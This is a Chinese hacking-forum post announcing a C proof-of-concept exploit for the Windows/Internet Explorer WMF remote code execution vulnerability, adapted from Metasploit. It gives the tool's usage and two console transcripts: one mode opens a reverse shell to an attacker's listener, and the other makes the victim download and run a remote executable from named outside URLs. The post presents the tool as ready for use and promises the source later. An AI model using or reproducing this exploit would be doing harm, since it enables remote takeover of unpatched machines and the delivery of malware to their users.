注册
登录
| 关键词： nbsp width 192.168 screen 1.111 connection P.O.C wmfexp Remote wmf |
好久没发原创了，再不发就要被冰血那丫给SM了：－（wmf文件格式的漏洞出了这么久了，最近才有时间研究一下。。。想必这个漏洞也吸引了很多人的眼球吧。。。metasploit果然牛啊，推出的exploit总是那么及时而又有效。。。。闲着没事，就改成C版的了，程序运行帮助如下： QUOTE: Microsoft Windows / Internet Explorer WMF Remote Code Execution Exploit P.O.C VERSION codez by superlone@ESTUsage: wmfexp <shell type> <local host> <local port> <options>shell type <====> 1: <options> <====> <con host> <con port>e.g: wmfexp 1 192.168.1.111 8080 192.168.1.111 1314shell type <====> 2: <options> <====> <url to download>e.g: wmfexp 2 192.168.1.111 8080 http://www.eviloctal.com/superlone.exe^_^ SHOW my love to LiuHui,for EVER and EVER!!!!一看就明白的，不用我多说了吧？反向溢出的实例如下： QUOTE: E:\temp\Release>wmfexp 1 192.168.1.111 8080 192.168.1.111 1314Microsoft Windows / Internet Explorer WMF Remote Code Execution Exploit P.O.C VERSION written by superlone@EST^_^MY love goes to my wife for EVER and EVER^_^binding 192.168.1.111 on port 8080 with socket ...DONE!^_^waiting for connection of ANY.WMF request ...GOT IT!^_^connection received from 192.168.1.3 on port 42249^_^generating payload ...DONE!^_^sending crafted data to the remote host 192.168.1.3 ...DONE!^_^do i work well?-)结果看附图。screen.width-461) window.open('attachment/Mon_0601/10_943_10ccb19848a81f3.webp');" src="/UpLoadFiles/NewsPhoto/848a81f3.webp" width=692 onload="if(this.width>screen.width-460)this.width=screen.width-460;" border=0> 下载执行的实例如下： QUOTE: E:\temp\Release>wmfexp 2 192.168.1.111 8080 http://www.huibian.com/wmf/wmf.exeMicrosoft Windows / Internet Explorer WMF Remote Code Execution Exploit P.O.C VERSION written by superlone@EST^_^MY love goes to my wife for EVER and EVER^_^binding 192.168.1.111 on port 8080 with socket ...DONE!^_^waiting for connection of ANY.WMF request ...GOT IT!^_^connection received from 192.168.1.3 on port 43529^_^generating payload ...DONE!^_^sending crafted data to the remote host 192.168.1.3 ...DONE!^_^do i work well?-)screen.width-461) window.open('attachment/Mon_0601/10_943_11d8578ad770b88.webp');" src="/UpLoadFiles/NewsPhoto/ad770b88.webp" width=692 onload="if(this.width>screen.width-460)this.width=screen.width-460;" border=0>screen.width-461) window.open('attachment/Mon_0601/10_943_c347434860df7be.webp');" src="/UpLoadFiles/NewsPhoto/860df7be.webp" onload="if(this.width>screen.width-460)this.width=screen.width-460;" border=0> 结果如附图。。。由于是POC版所以我没有优化shellcode，等过些时日公布出代码后大家可以自行更改！！！ |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
